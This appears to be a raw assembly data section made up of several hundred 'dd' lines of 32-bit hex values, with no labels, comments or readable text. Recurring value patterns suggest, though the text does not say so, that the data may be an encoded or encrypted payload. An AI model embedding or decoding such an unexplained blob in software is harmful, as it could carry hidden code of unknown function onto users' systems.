dd 64E00E65h, 32567F58h, 0FBFFE4B1h, 0F00E63F7h, 0DA7C2BCEh
dd 325656EDh, 3D96A04Dh, 32567835h, 325E03B1h, 0EED875B1h
dd 0B8664CD6h, 0CADD1E7Ch, 37BFFB44h, 985657B1h, 0B0918EF0h
dd 4D79474Eh, 0B659ECA9h, 325675B6h, 32573BBEh, 6FAE5DB1h
dd 3256BE58h, 0EC9176B1h, 25DC958h, 1D07ABF8h, 945D624Ah
dd 3E234EC2h, 32363EBEh, 3D365DB1h, 3256A835h, 32DD58B1h
dd 5456ABB1h, 0B21E1530h, 2CDD8CD0h, 32459CD1h, 8F0CBAB1h
dd 0EB337D1Ch, 3A337720h, 0FCBD1083h, 2E480C6Dh, 34D2DA6Ch
dd 3D56EAB1h, 32567530h, 0D5D6DBB1h, 2CDCA841h, 0C2B52E44h
dd 14D7BF44h, 3D36ABB1h, 0DB370F0Eh, 0CDA915BAh, 0E4D61544h
dd 0C2DCECDCh, 4FDF3CE8h, 0DA01CE4Dh, 325657B7h, 13426502h
dd 6808C40Bh, 325663BEh, 0DA3775B1h, 0CDA94C05h, 32565058h
dd 18DC09B1h, 15B493E5h, 0F1DACAB6h, 520DA2ECh, 7C7C1109h
dd 39BF1493h, 0E056BAB1h, 0BD2BEA96h, 0EAA5BAC1h, 3D09D7A1h
dd 3256AA3Dh, 0DB082CB1h, 3256EAA0h, 922D388Ch, 8AED6C84h
dd 0DE4870Dh, 0C0DCF12Dh, 3DD55826h, 0DB56ABB1h, 3256D5BBh
dd 0F1449243h, 412C153Ah, 77DD3E21h, 33D2524Dh, 0CE56AEB1h
dd 27D65878h, 0DB56ABB1h, 3256D5A1h, 0CE1922AFh, 9DC1D8DBh
dd 267B09EFh, 0B7CEAFh, 0CB56A273h, 34BE37E4h, 0E456ABB1h
dd 0BFFD863Eh, 0ECDD8CF0h, 2B75CEE8h, 0B93798D0h, 0F6D5A15Dh
dd 0B159CE49h, 325657B3h, 19E0F3E2h, 0B33682D0h, 96E37D46h
dd 0B23614AAh, 0B3301942h, 53810D62h, 63A356E7h, 32565C58h
dd 110D59B1h, 0BF40E051h, 8BA8694Fh, 325E9CD1h, 830EBAB1h
dd 4A21E92Fh, 21BFAE10h, 635657B1h, 8D3A4FEh, 1327597Eh
dd 0D01A29DCh, 0CB846DAEh, 61371945h, 32564E58h, 7DADAAB1h
dd 40B8D338h, 0DE246DF5h, 0B5333BB0h, 0BF637B4Ch, 325BF2BEh
dd 3ABFBAB1h, 61565DB1h, 81A2276Eh, 0F575AD72h, 325653F4h
dd 37BFD5B1h, 6756EAB1h, 3C2FAA32h, 0B2E53876h, 32575BA9h
dd 0DBAEAEB1h, 325657A1h, 4F890CE2h, 4EF47D96h, 550851ADh
dd 0E073FFA9h, 525ECF3Ah, 325AB5E0h, 0A0AAAEB1h, 49EB275Fh
dd 6B38A001h, 6D0D2BEBh, 325261BEh, 8C3075B1h, 5437AA0Ch
dd 0B9AE433Ah, 2A28170Bh, 0B90637B7h, 0B937F277h, 0B859DDEEh
dd 3256EAB9h, 3254FFBEh, 5336BAB1h, 0B65986BAh, 3256AEDBh
dd 0CAAF37D1h, 328F2AD0h, 531CB65Eh, 0B759348Ah, 3256759Bh
dd 3256A958h, 12164BB1h, 0B56044CFh, 0D5361905h, 4737855Ah
dd 0A8045477h, 0CE5AB73Ah, 0DB5A2A38h, 3256BAB7h, 1FA7A33Ah
dd 0F5D5BB0Bh, 3246BEA5h, 0A9E6ABB1h, 0F6471947h, 0DEF070F8h
dd 2D378D64h, 0BEBFD330h, 0DBA9A24Eh, 3256AEBBh, 2E645013h
dd 0A8BF0D20h, 0B9302D77h, 325E03AFh, 55B875B1h, 44355819h
dd 0C9D6BEC7h, 29D2A159h, 0CA5657B5h, 3DBF5031h, 3252C435h
dd 3ADAE5B1h, 3D5675B1h, 3256B83Fh, 0B2373DB1h, 0B659454Ah
dd 3256544Bh, 3256B858h, 0AEA670B1h, 208101AFh, 5A10AE89h
dd 6774BA51h, 539F57BCh, 3DB45531h, 3255FF35h, 0DBAACBB1h
dd 3256D5A0h, 0EFA36D9Ch, 2C53272Bh, 0C0311223h, 0B4CD3DC3h
dd 0C9D6CF06h, 0DD25852h, 5256ABB2h, 8D8E62BEh, 27B0FA6Dh
dd 33DB7AD0h, 0C756BAB1h, 55ADDCD7h, 58D2A152h, 525657B2h
dd 8BAC20D7h, 3AC5E8CFh, 0C2B16AD0h, 0C9D71349h, 0B6593ABEh
dd 32565E33h, 0C2B52E4Dh, 32564358h, 520742B1h, 36362031h
dd 6CA93414h, 7B2DCB2h, 0E0BF1453h, 42ADDD91h, 310A2ABEh
dd 0BF5957B1h, 3256ABA4h, 3256C558h, 817933B1h, 0D3304B9Dh
dd 0B3200E3Eh, 55B8AED3h, 2CDDC819h, 0CAB5D749h, 3256AE58h
dd 0AFEFA1B1h, 0BE594BECh, 325675B2h, 0B2374FD1h, 0B659E54Ah
dd 3256AF73h, 1811EED1h, 23BFBCBCh, 0EC56D5B1h, 4FD05BE1h
dd 31FB839h, 2965E07Dh, 68B10494h, 37682ED0h, 33CAD3BEh
dd 37BFABB1h, 9256D5B1h, 0A6D6D3D1h, 0E9E97AD1h, 538F31D7h
dd 3D7B6331h, 32572F35h, 38BF37B1h, 0BF56ABB1h, 4D86F67Ah
dd 0DD89A332h, 0B459149Eh, 3256BAB0h, 5A68DD48h, 33362ABEh
dd 543657B1h, 0E1FA6930h, 81D42AD0h, 3D50F231h, 32567F34h
dd 6C07DAB1h, 3256DBBEh, 5437AEB1h, 0B959493Ah, 3256AB99h
dd 32513DD1h, 7D52EAB1h, 9151BCC9h, 21BEE413h, 7A565DB1h
dd 6881AD7Dh, 528BBCFDh, 211C2CEDh, 98FCAEEEh, 53084972h
dd 0CBAE9231h, 0B3AD3BD7h, 31D25259h, 0CB56AEB0h, 2CDD314Dh
dd 0C2B12B4Dh, 32465CBEh, 39BFEAB1h, 0EE5675B1h, 662C192Eh
dd 0BD683AA5h, 0B330359Ah, 3D96D64Ah, 32567235h, 32453CB1h
dd 9A57EAB1h, 34CA0D3Dh, 8274DFDh, 6C2F52A2h, 2B07FE4h
dd 8936372Bh, 3E2C1EFh, 325453BEh, 0EADCEAB1h, 38BF20D0h
dd 0F756BAB1h, 0A3D8F3F0h, 9842F791h, 2AD358BCh, 0DB56ABB1h
dd 3256D5A2h, 756F9BA5h, 0FA41D09h, 62A96A12h, 0E4C6E819h
dd 0CD22CD59h, 2A297823h, 0B7EFCBB7h, 0DB0C41B1h, 3256EAB6h
dd 0D1198018h, 5326A6B2h, 3246B4ECh, 0C92BAEB1h, 62BE2A97h
dd 744D956Ah, 0AA378E19h, 77DF1817h, 3D368C4Dh, 3256B83Dh
dd 0DB373DB1h, 3256AEB4h, 7573965Ah, 5237CAE5h, 32503DD1h
dd 5A65EAB1h, 0F1F31656h, 538830EFh, 0CE2BDED0h, 4ED3A1B0h
dd 525657B3h, 0B18F2AD7h, 325A3D73h, 0EF59EAB1h, 7F26AB8Dh
dd 7F61A421h, 0E1D700CCh, 49BE8B4Eh, 88DD36E8h, 34448178h
dd 32505ABEh, 5436EAB1h, 53FA2D0Eh, 3DA3EA49h, 32564A39h
dd 324447B1h, 0E07557B1h, 0DDDBEA73h, 0AE66CD9Ch, 9276E8EFh
dd 0DA43EB91h, 0B2E5383Ah, 0BAE5BA9h, 0CB369E8Dh, 0B0590FD0h
dd 3256A9A6h, 32443CD1h, 4182EAB1h, 5C44507Bh, 0C10E7F73h
dd 6E1975EDh, 6B4BDA95h, 0D379E8D7h, 23EC20D0h, 0CB50C7ABh
dd 2BDBE5E1h, 0DB5675B1h, 3256BAA5h, 4A66A929h, 0E253AA71h
dd 3F6FD0D0h, 0E8A10497h, 0C7C3B7AAh, 0B2E5683Ah, 0BAF73A9h
dd 54368A8Dh, 1EA6BC30h, 0BD59F6D0h, 3256560Ah, 3BD4A444h
dd 5256D5B1h, 40571D30h
dd 53AE159Ah, 32561F58h, 26BF3DB1h, 6F56AEB1h, 0B40FD5FAh
dd 635422E4h, 0E18FA27Ah, 1CBA7B33h, 0DB7EA0EDh, 3256BABCh
dd 71326CE0h, 600D8D75h, 0B3ECE6ADh, 7791CA4Fh, 3256D749h
dd 3FBE8AB1h, 0F85675B1h, 0F4B4278Dh, 4B322A41h, 0A8A99424h
dd 32564358h, 0B3BCD0B1h, 7326D73Fh, 476DA282h, 0C2DFB6E9h
dd 62B475C1h, 35BF0324h, 8956AEB1h, 0AF4CB855h, 0DB37B7D1h
dd 3256D583h, 0CA132D49h, 325675B0h, 325C53D1h, 0C4FF5DB1h
dd 35533B83h, 99A461DEh, 3256BB59h, 0BE77FBB1h, 2B32FDB2h
dd 941551Eh, 0AA807A2Bh, 0CADD3BB4h, 88DDCFEEh, 344E2908h
dd 32572ABEh, 0B9A3D5B1h, 8A308AAEh, 3CBE87B6h, 0A556BAB1h
dd 5847478Ah, 0EAB99C51h, 446DE47Dh, 32D0A42Fh, 6C56D5B1h
dd 3D8DE1D0h, 3256BF35h, 6905DAB1h, 32564C58h, 0A5FE0CB1h
dd 0DFE024B1h, 7557DC32h, 0DC30E081h, 937714Dh, 5DD37A6Fh
dd 3D56BAB1h, 32565C30h, 20BF5BB1h, 745657B1h, 57501C1Bh
dd 40E7B1DEh, 4CAD1F0Ch, 3EB446A2h, 3E0B31D9h, 0CA2BDE4Dh
dd 0DD2A1B1h, 0DB5657B1h, 3256ABB8h, 2D9DEC5Ch, 2E6FAEFAh
dd 0CA0B7677h, 324F31BEh, 26BF5DB1h, 0A056AEB1h, 7C4D91FEh
dd 51CE3FECh, 4719C255h, 16C559F5h, 0DB2D808Ch, 3256BABBh
dd 26BAEAA1h, 9C3BB4AEh, 6DDF0513h, 0F5D55EB5h, 3ED1DAA5h
dd 0DB56EAB1h, 325675B6h, 0EE8C1464h, 0DB3D7D42h, 0CDA9519Ah
dd 3D966444h, 3256AF30h, 6A07B5B1h, 376303D0h, 3ABF75B1h
dd 2F56BAB1h, 9899952Fh, 548A41C7h, 3EBF493Ah, 0CB56ABB1h
dd 4ABFB196h, 638B88E2h, 0B900263Dh, 0DB36B6CCh, 32565DB7h
dd 46F41E6Dh, 85595272h, 0C9D6CA47h, 58D2DA5Ah, 3D56EAB1h
dd 3256743Fh, 0DB3646B1h, 32565DBFh, 14CA36F6h, 0CE5554A9h
dd 98021B6Fh, 0B859367Ch, 3256EAB3h, 0B2378C3Bh, 0B2AF4A52h
dd 0B6592D4Ah, 3256AE6Dh, 32565858h, 7FCB02B1h, 85BD06Ah
dd 0E1416236h, 491FC71h, 32573758h, 35DD52B1h, 3D56AEB1h
dd 32565636h, 3CBF53B1h, 0B456D5B1h, 67EB78F4h, 322D988Fh
dd 5CC74EC6h, 0DB519B76h, 32572DBEh, 0F5A357B1h, 3256AAF6h
dd 3DBFD5B1h, 6356EAB1h, 0BCBDF242h, 0E4023675h, 0FEC39EB5h
dd 0BF5950CFh, 325657B6h, 32572DBEh, 0B9A3D5B1h, 32460376h
dd 4A2375B1h, 0DF3316FEh, 49E2FFC1h, 1F5DEB58h, 0F2D5D98Dh
dd 3ED4A4B4h, 3D56D5B1h, 3256EC30h, 32D77AB1h, 0DB56BAB1h
dd 3256599Ah, 324547D1h, 0C08857B1h, 99E2F932h, 0BC250DADh
dd 351FD14Dh, 94169992h, 6D05DA1Bh, 0ED908009h, 3D37CFF2h
dd 32564030h, 39BFCBB1h, 4B56D5B1h, 27513126h, 239BB546h
dd 15EC470Ah, 531953ACh, 3D5169D7h, 3247BEB9h, 0AD7EABB1h
dd 8F35EAAEh, 0E920D48Dh, 0DBAC5465h, 0B8B34B17h, 21BF3DAFh
dd 0F56AEB1h, 4DCCBF96h, 67CBAADCh, 0E6ECB7AFh, 0F9B42A97h
dd 0B5596CDFh, 3256BABFh, 32565458h, 0D418ACB1h, 9E42DC96h
dd 0B2374549h, 5336DA52h, 3DD62131h, 32567232h, 33DAB5B1h
dd 0CB565DB1h, 0DB57F139h, 325657B6h, 0D5461E99h, 0F517D3EAh
dd 3256E8F6h, 34BF75B1h, 256BAB1h, 0E5B27ECEh, 3D912534h
dd 32564234h, 324642B1h, 43A5D5B1h, 9D32B7EFh, 893CEF34h
dd 0D5B72ADh, 0F2D522B0h, 0CE36CEB7h, 0D7FAE9D7h, 98CA11D0h
dd 0CA37BF60h, 3255DC58h, 32469CB1h, 0F382BAB1h, 3EC5A6C9h
dd 0C73CDA1Ah, 0DB106D73h, 0B33099CBh, 3DC6458Fh, 32569835h
dd 325E9CB1h, 8F6CBAB1h, 1000A6FCh, 0CD65DEAh, 0BAD35821h
dd 0DB56ABB1h, 3256D5A0h, 0B9D27E88h, 852CA922h, 6480BCE7h
dd 90D8BCA6h, 4CD7C8C3h, 3DC6C74Eh, 32569135h, 0F6D6B5B1h
dd 0EFEE8C89h, 0B15914B1h, 3256BAA8h, 32564958h, 0C06620B1h
dd 8FA7B964h, 7CB9B303h, 0C2224C18h, 4451CC84h, 326F9C73h
dd 0B259BAB1h, 32565DB6h, 325723BEh, 0B9AA57B1h, 32424276h
dd 0DC22D5B1h, 557400D3h, 0A0D4AFDDh, 43B6895h, 156B5351h
dd 0B6BF3459h, 0DB5657B3h, 3256ABB6h, 55D17A87h, 0BF4B208Ah
dd 2AD7D433h, 8C05DAB7h, 4F5A0FE6h, 325946E9h, 739157B1h
dd 0E05844E9h, 0E771F5EEh, 0F1168570h, 325E9C40h, 0B4D9BAB1h
dd 0D3FDDA82h, 530C98EBh, 0DB00AEE1h, 3256ABB6h, 0C5620A59h
dd 0CD5FDE78h, 2A293E23h, 0F25D46B7h, 321FD9BEh, 0B9AEAEB1h
dd 27D15879h, 0DB56ABB1h, 3256D5A1h, 75D3F0F6h, 6D4C5445h
dd 9997C3C9h, 1BCA8C7Ah, 0B3F71C3Ch, 0BD5951A9h, 3256ABB9h
dd 0F2E9DAD1h, 531E0E31h, 3256E558h, 325B53B1h, 0A8405DB1h
dd 179F76Ch, 3BA2B8EFh, 64136D40h, 0BA5985D1h, 3256EAB1h
dd 4922CCE9h, 0B937C9E2h, 3245B47Fh, 0D9D9AEB1h, 5706C5E7h
dd 52DEC178h, 421A4CE0h, 82A8021Ah, 32519C85h, 0F10DBAB1h
dd 35F2E153h, 0B459FBA5h, 325657BDh, 32502BBEh, 0BE59D5B1h
dd 3256EAB1h, 4D79E74Eh, 0B059BCA9h, 32565DB6h, 325723BEh
dd 3DAE57B1h, 3256AA38h, 0DB0B20B1h, 3256EAB4h, 65DDDD67h
dd 0C79891D5h, 0B2368446h, 8D30BA70h, 6C3750A0h, 0CA2B2844h
dd 0A1D3DAB0h, 5256EAB1h, 7981F549h, 3ED6B5D0h, 3D565DB1h
dd 3256A83Ch, 32DA58B1h, 8256ABB1h, 3ED9DAF8h, 0DB56EAB1h
dd 325675B6h, 184A07B2h, 0CA016EE7h, 8A30571Bh, 0BC59D2BEh
dd 3256ABB6h, 32575ABEh, 54AEEAB1h, 325E9C1Ah, 2814BAB1h
dd 39632203h, 0B959FA0Ch, 325657A8h, 324742D1h, 0B504D5B1h
dd 0DD021961h, 616B973Bh, 503D3BA0h, 0C7B7B3B4h, 74E0A1D0h
dd 3258BEB0h, 220DABB1h, 0ACCF369Ch, 0A44E89DDh, 0EB79EA89h
dd 0F0E9DA1Ah, 533A6395h, 32560058h, 4FD5ABB1h, 0B759A949h
dd 3256D53Dh, 32436ABEh, 22BF75B1h, 756BAB1h, 0F6B730EEh
dd 4C11E1A8h, 0B8614276h, 3D1AAAEBh, 3256D239h, 68058AB1h
dd 53A5FED7h, 0FB5D02D7h, 32565858h, 0F54EB4B1h, 9930C0AEh
dd 58ECCB44h, 0B85C4BF9h, 8A308B7Ah, 35BFF1BEh, 9E56BAB1h
dd 1176E6AFh, 99302AA6h, 74E05849h, 325342B0h, 5DE5D5B1h
dd 99DF44F3h, 32567858h, 207CBAB1h, 0D70E7A5Ch, 0B6FEE7C3h
dd 0DBAA276Eh, 3256AB96h, 31D9DAD1h, 0B256EAB1h, 0B330DB79h
dd 53F7FD61h, 5436F942h, 827A5F30h, 5398B531h, 3D8620D1h
dd 3256D43Eh, 0B9371FB1h, 32479C76h, 53A1BAB1h, 196C842Dh
dd 564D2A15h, 0B72C0D2Ch, 69E65D56h, 3256D858h, 0E9DF36B1h
dd 0F5C511F0h, 55CCFAE1h, 520F2725h, 32552ABEh, 0F2D657B1h
dd 0F8DDCD1Ah, 0DB368BD0h, 3256EAB7h, 7335563Dh, 6D37FA6Dh
dd 3251D7BEh, 6236AEB1h, 0EADD31E9h, 324542D0h, 8BC6D5B1h
dd 362DBB0h, 1AF06B40h, 4FB77E58h, 0F612F5B8h, 0B85967E3h
dd 325657BDh, 325023BEh, 0B359D5B1h, 3256EAB1h, 0DB567D73h
dd 3256BAA2h, 17A3821Eh, 7B96BC2h, 0EE5CE94Ah, 6A1297F2h
dd 67266A69h, 324503D1h, 0D29975B1h, 0E32C7490h, 23CBF82Ch
dd 0DE98951Ah, 922D1A8Ch, 53882184h, 3256C458h, 68438AB1h
dd 48A36733h, 2A549C07h, 91BB8BEEh, 0DEDDD9F1h, 3257D3BEh
dd 52AEABB1h, 32563D48h, 0B30CEAB1h, 2AE7615Bh, 0B4594FB7h
dd 32565DBFh, 32DCA1D1h, 0B35657B1h, 0FB92665Eh, 77DDB4DCh
dd 0B0DF13B9h, 344E0AB7h, 3EBFDB48h, 1F565DB1h, 0F26622D1h
dd 31DC91BDh, 0FBAD1C84h, 32465ABEh, 39BFEAB1h, 285675B1h
dd 0DD47A3AFh, 4B396DF0h, 3694794Fh, 0BA5937B1h, 3256ABB1h
dd 325653BEh, 6737EAB1h
dd 3DCEC7D1h, 3256BF31h, 0DDD73BB1h, 0B937005Bh, 0F6D5AF5Dh
dd 21D5A449h, 5256D5B1h, 38BF323Ah, 95675B1h, 4FCB2381h
dd 0E6915ADCh, 52A3CF4Ch, 5486DCD1h, 5326860Fh, 3256D559h
dd 0D8D7B0B1h, 344EC402h, 324F39BEh, 26BF5DB1h, 0C056AEB1h
dd 12CAC55Bh, 15ED98CBh, 0D9E529F7h, 0CF66F5FBh, 3D39A665h
dd 3256A237h, 3245B4B1h, 0E088AEB1h, 0B59B51FEh, 2B11BBE4h
dd 0F6C36C9h, 0B6FBB30Ah, 0CA13B2F3h, 3256BAB1h, 0CE139A44h
dd 3256AEB1h, 32565858h, 0A4B51FB1h, 6588D8D0h, 0CA8A7370h
dd 7B106F8Fh, 54AA7A82h, 0C7AF433Ah, 0B2E52C76h, 325751A9h
dd 5436ABB1h, 0B2E94B0Fh, 54374874h, 0A2C68E30h, 32573FBEh
dd 0B2AE5DB1h, 0B659464Ah, 32565316h, 325127BEh, 0BD59D5B1h
dd 3256EAB0h, 0CAA3354Dh, 3DBF4131h, 3252D335h, 33DEA1B1h
dd 0CB5657B1h, 25D7A4F1h, 0DB56D5B1h, 3256EAA3h, 0AD175166h
dd 75BF074Fh, 0D654E759h, 57F59A5h, 0C9D6D45Fh, 52D2A45Ah
dd 5256D5B5h, 32556ABEh, 0D7D675B1h, 22D5B550h, 0DB565DB1h
dd 3256AEBAh, 93D9432Dh, 3E1B9F5Ch, 5375CFECh, 0D5D613F1h
dd 3ED07A41h, 3D56BAB1h, 32565B34h, 32D2A1B1h, 545657B1h
dd 0B2595030h, 364B51BEh, 38BFEAB1h, 475675B1h, 0B8287A03h
dd 0F06C71Ah, 8BD4ADF8h, 52504599h, 325422BEh, 5336D5B1h
dd 0B2AAAAD0h, 0B659974Ah, 3256B95Ah, 325ADEBEh, 35BFAEB1h
dd 5B5657B1h, 0DD88BE0Dh, 0C9D62BC5h, 97D2E552h, 0DB5675B2h
dd 3256BAA5h, 34FA474Dh, 0B169D16Dh, 503FE738h, 0EE45AA3Ah
dd 82B3B34Bh, 55AD6BD7h, 9ED27A52h, 0DB56BAB2h, 32565DA3h
dd 17A5E1B4h, 5E15DB50h, 0A1CCEF27h, 0E10C390Ch, 20BF21A4h
dd 225675B1h, 0C5C686BEh, 23620C64h, 9048BBCDh, 0F09CA913h
dd 0C2B52BB8h, 0B99E5ED1h, 0B1598B4Ah, 325675ABh, 324553D1h
dd 8AF05DB1h, 3CD385F0h, 0B515C2B9h, 0A04D818Ah, 745E1C92h
dd 0C9D68B7Eh, 66D27AC1h, 0DB56BAB2h, 32565DBDh, 4EE07E15h
dd 0D8D678E1h, 962565E9h, 0CB485ED7h, 0C7AE0931h, 3DEE8E31h
dd 32570335h, 3ADA52B1h, 3D56AEB1h, 32565539h, 0B237CBB1h
dd 0B659D08Fh, 3256EB13h, 1F68F54Dh, 33CE3EBEh, 0B2AE5DB1h
dd 0B659C68Fh, 3256563Fh, 324E24BEh, 0DB36D5B1h, 3256EABDh
dd 43FD24h, 897DD543h, 13C2D9CEh, 42852FD7h, 521636DAh
dd 4BB02AD7h, 54B85510h, 3BD0E5D0h, 525675B1h, 96BE3BD7h
dd 53D4EB61h, 0B2E52C4Eh, 22BF51A9h, 6F56ABB1h, 7D86466Eh
dd 3643A825h, 0BE2FB889h, 545FCD4Ah, 22BF433Ah, 3056AEB1h
dd 0C9AA997Ah, 7B0B5EB6h, 0FF8D0090h, 0B277323Bh, 35BF8D56h
dd 0EB56BAB1h, 0BC5F06A1h, 0B330948Bh, 3DBED64Ah, 3257A235h
dd 2FD1DAB1h, 3D56EAB1h, 3256623Ch, 324453B1h, 1C045DB1h
dd 69CFE85Bh, 0FB4D40B1h, 0CA729B41h, 0E4C40107h, 3256EF58h
dd 4F5A18B1h, 0B9306377h, 3247B4AFh, 0BD29AEB1h, 387B16D3h
dd 9E493D58h, 9E82ED64h, 0B295FD09h, 3D368556h, 3256B831h
dd 0DB373DB1h, 3256AEB4h, 400AAA59h, 3D36CA0Bh, 3256D53Fh
dd 0EDE1E5B1h, 0C9D713D0h, 0B6597A30h, 32565D27h, 53B724D1h
dd 0DB3637D1h, 3256ABBCh, 72F1170h, 119D6754h, 7BD50A61h
dd 32D8B56Eh, 53565DB1h, 325425BEh, 533657B1h, 325A42D0h
dd 12AD5B1h, 0E7EF9624h, 0CDD066D2h, 3D0350C7h, 32565A33h
dd 33D2A1B1h, 0C75657B1h, 4D79394Eh, 6FAED3A9h, 325C6FBEh
dd 37BF75B1h, 2A56BAB1h, 0A83827CCh, 52AAEB38h, 0CE68290Bh
dd 0E8E1A4A6h, 52372DD0h, 0A3E23F05h, 0CE2BF6D0h, 20D3B5B0h
dd 52565DB7h, 3CBF9704h, 335657B1h, 8A5B4870h, 0EFCA10BFh
dd 0E7AA7ACAh, 88DD14F9h, 34449078h, 3242B4D1h, 9637AEB1h
dd 93D2ADBBh, 0C30F8C65h, 3FD57607h, 39B03069h, 52068B25h
dd 6237E4D0h, 32564C58h, 1D7C29B1h, 2BE9A04Bh, 57C766F1h
dd 1C7E6001h, 0B0DDF071h, 344EF502h, 26A8348h, 0BD590AD1h
dd 3256AEB1h, 6A37AEEEh, 37F529BEh, 0B9AFD5B1h, 204CFB0Bh
dd 3D068DB7h, 3256B630h, 34DB52B1h, 3D56AEB1h, 3256573Eh
dd 81D420B1h, 0CA50CD31h, 5266D688h, 5491FED7h, 53D07D0Fh
dd 5CD952E9h, 0CA56AEB4h, 4D56ED3Ah, 21BFADA9h, 9856D5B1h
dd 0BF9FA4FEh, 16DEFB56h, 4B7B8C61h, 59DD419Dh, 0B0D5652Dh
dd 344E28B1h, 5DF53A5h, 3256DF58h, 681864B1h, 0D4C8E67Ch
dd 0BB25C806h, 0B3594DF6h, 3256AEBBh, 32DE58D1h, 8256ABB1h
dd 0CA06B4D5h, 0B2E5683Ah, 0B45973A9h, 3256BAB0h, 24AD64Dh
dd 3256A358h, 0B05848B1h, 0BDB180Fh, 0A770761Ah, 0DB0E9EE0h
dd 325675B6h, 0CF05F32Eh, 52349AF4h, 3256A758h, 65B380B1h
dd 0E94F133Fh, 39BE83C0h, 0AB56EAB1h, 6B17A33Ah, 267F384Ah
dd 0ECDCCB0Bh, 6DDFCFEAh, 0D9D737B9h, 6818902Ch, 32555ABEh
dd 0C4D6EAB1h, 84BF14CFh, 0CE56BAB5h, 30AE1876h, 0CA56AEB1h
dd 325DBFD1h, 0F2C4ABB1h, 7DE0602Fh, 5AE1C62Bh, 8BE92DCAh
dd 537345B6h, 32565358h, 3DA3CEB1h, 0F537880Eh, 325753F4h
dd 0B9AAD5B1h, 2A29EA0Bh, 21DC7AB7h, 0DB56BAB1h, 32565DBFh
dd 2BC670EDh, 0F0E23CF2h, 0D0A821F2h, 0B0D5AB58h, 344E95B1h
dd 0B05915A5h, 3256BAB3h, 53AE6E07h, 0BF599938h, 325657B0h
dd 22112248h, 32423C44h, 0DA29EAB1h, 54CE54F3h, 4B53455Ah
dd 81261925h, 34454DAEh, 0CAD5E278h, 72D3A4B2h, 0DB56D5B1h
dd 3256EAA0h, 64EFDA99h, 0A3827131h, 9226E6FFh, 714456A1h
dd 81D490EBh, 3050B331h, 5256D5B1h, 3D9455BEh, 0DB37830Eh
dd 3256BA92h, 0E2E152D1h, 325F47D0h, 0D73357B1h, 2B349C4Ch
dd 0B160857Ch, 0BF59E849h, 325677D4h, 325736BEh, 0B1AF5DB1h
dd 3D5656CCh, 3256D835h, 3ADEA4B1h, 3D56D5B1h, 3256E838h
dd 3D3715B1h, 0CE57FC07h, 3256DD18h, 1ED3A1B1h, 0CB5657B1h
dd 0DAD552F1h, 32503CB4h, 0D5FAEAB1h, 0DBC29986h, 3256F358h
dd 3247B4B1h, 0F1F8AEB1h, 0F1A89AB6h, 0DB20E7E6h, 5F95093Bh
dd 1F8DA54Ch, 3256754Eh, 3256AB58h, 0E6E47CB1h, 7EFDAA4Fh
dd 0A3694ADBh, 498D10B6h, 0DAD52897h, 3DD1E5B4h, 0DB5675B1h
dd 3256BABBh, 18FB9270h, 63BD9E2Ch, 7CBF4AC3h, 3D56ABB1h
dd 3256D236h, 33DAE5B1h, 0CB5675B1h, 35D5B5E2h, 3D565DB1h
dd 3256AF38h, 0A8DDABB1h, 344E2B02h, 3256DE58h, 0BC2041B1h
dd 6D1BAC18h, 0A7F31F44h, 5265593Ah, 325321BEh, 1BEE57B1h
dd 0CB32F685h, 34BF8ED0h, 2656EAB1h, 6CFB8E83h, 32561390h
dd 0B759DDB1h, 3256AE16h, 32565B58h, 0DD50FAB1h, 0AE9ED01Dh
dd 2953C7h, 0DB907615h, 3256BABFh, 0F6210DC5h, 0F2EB7156h
dd 67340C62h, 0F2D57F7Ch, 32593CB4h, 7EEEAB1h, 0D9E90CEFh
dd 65748057h, 0DFFDAE84h, 81D4ADD7h, 0CB504F31h, 3D36CBF9h
dd 3256D53Eh, 324603B1h, 12CC75B1h, 67E7EB79h, 0B527072Bh
dd 0F416E238h, 0DA377857h, 3256ABBCh, 2E32B9E8h, 0EF820DB2h
dd 3CA57792h, 293F01BFh, 530F37FCh, 0CA5EE938h, 3D5A1038h
dd 3256AA36h, 6CBF2DB1h, 0CB56EAB3h, 3247F3BEh, 3EBFBAB1h
dd 4A565DB1h, 405F2940h, 0E18B9354h, 0C5E9EC77h, 3FDEDA69h
dd 0DB56EAB1h, 325675B9h, 0B2472AF7h, 8F0127CDh, 0DB90854Dh
dd 325657A2h, 0AA92F16Eh, 58821BC2h, 9091EFE4h, 4A446280h
dd 0C5056D83h, 325FB469h, 2457AEB1h, 0F3F1A240h, 0B1C18578h
dd 3EBFD071h, 1356EAB1h
dd 5CCB655Ah, 3D56998Ah, 3192781Dh, 2AD61D33h, 35D858B7h
dd 5256ABB1h, 85995ED7h, 521E8B8Fh, 145B9630h, 883080B0h
dd 0BB371719h, 0B559A6F6h, 325657B9h, 325428BEh, 5336D5B1h
dd 525AAD38h, 32567858h, 675925B1h, 2A6760F9h, 84248E95h
dd 0F8D7221Fh, 73F18B45h, 33C93CD0h, 0BA59EAB1h, 325675BFh
dd 3256B358h, 0F58A33B1h, 4C580DE2h, 20BFF879h, 7C56ABB1h
dd 0BD0441AEh, 83D6D62Eh, 8EBA6A67h, 59696D3Fh, 0C7966EE1h
dd 3256BF58h, 32FE82B1h, 14143ABh, 817DF277h, 0ECE3DC59h
dd 74DCEFBEh, 325F53B0h, 778A5DB1h, 0F3E88E31h, 0CB317033h
dd 0B7592B19h, 3256D550h, 325E6CBEh, 0B85975B1h, 3256BAB3h
dd 0F4553CD1h, 0F2D55648h, 20DA58B3h, 0DB56ABB1h, 3256D5BCh
dd 7E0C18Dh, 0F40D0BDh, 0D332CCEh, 3257E658h, 0B336AEB1h
dd 25AC9F58h, 0E95DCADDh, 326551BEh, 0B859EAB1h, 325675A0h
dd 325D39BEh, 34BF5DB1h, 0FC56AEB1h, 99332D8Bh, 76CC21BEh
dd 3D50C267h, 3256E135h, 32509CB1h, 503DBAB1h, 0B5B7B3B4h
dd 0CA574D31h, 3D955448h, 32568B32h, 0C1D7B5B1h, 66AF12E4h
dd 32566658h, 0EB4C49B1h, 475E3329h, 3020E926h, 0BA4647F9h
dd 0A800BB7h, 3A115CD0h, 324D63BEh, 0B75975B1h, 3256BAA4h
dd 32564D58h, 5DF20AB1h, 0B134A6DCh, 0DA51F3h, 8714A152h
dd 3E1163F3h, 32566758h, 4D89E3B1h, 780BA169h, 45A92360h
dd 3218436Ch, 0DB1FC1F1h, 3256D5D0h, 528E1D4Dh, 32567A58h
dd 818047B1h, 0DAF88E14h, 6FABB5DAh, 5451C1F0h, 53EF4B31h
dd 32562A94h, 33D3E5B1h, 0CE5675B1h, 0C5AE7C9Ah, 0B236A869h
dd 0BA59EE50h, 325657B2h, 539014BEh, 0DB541532h, 3256EAB7h
dd 738743EDh, 75DF1D33h, 33DF52B9h, 0CA56AEB1h, 0DB5A1038h
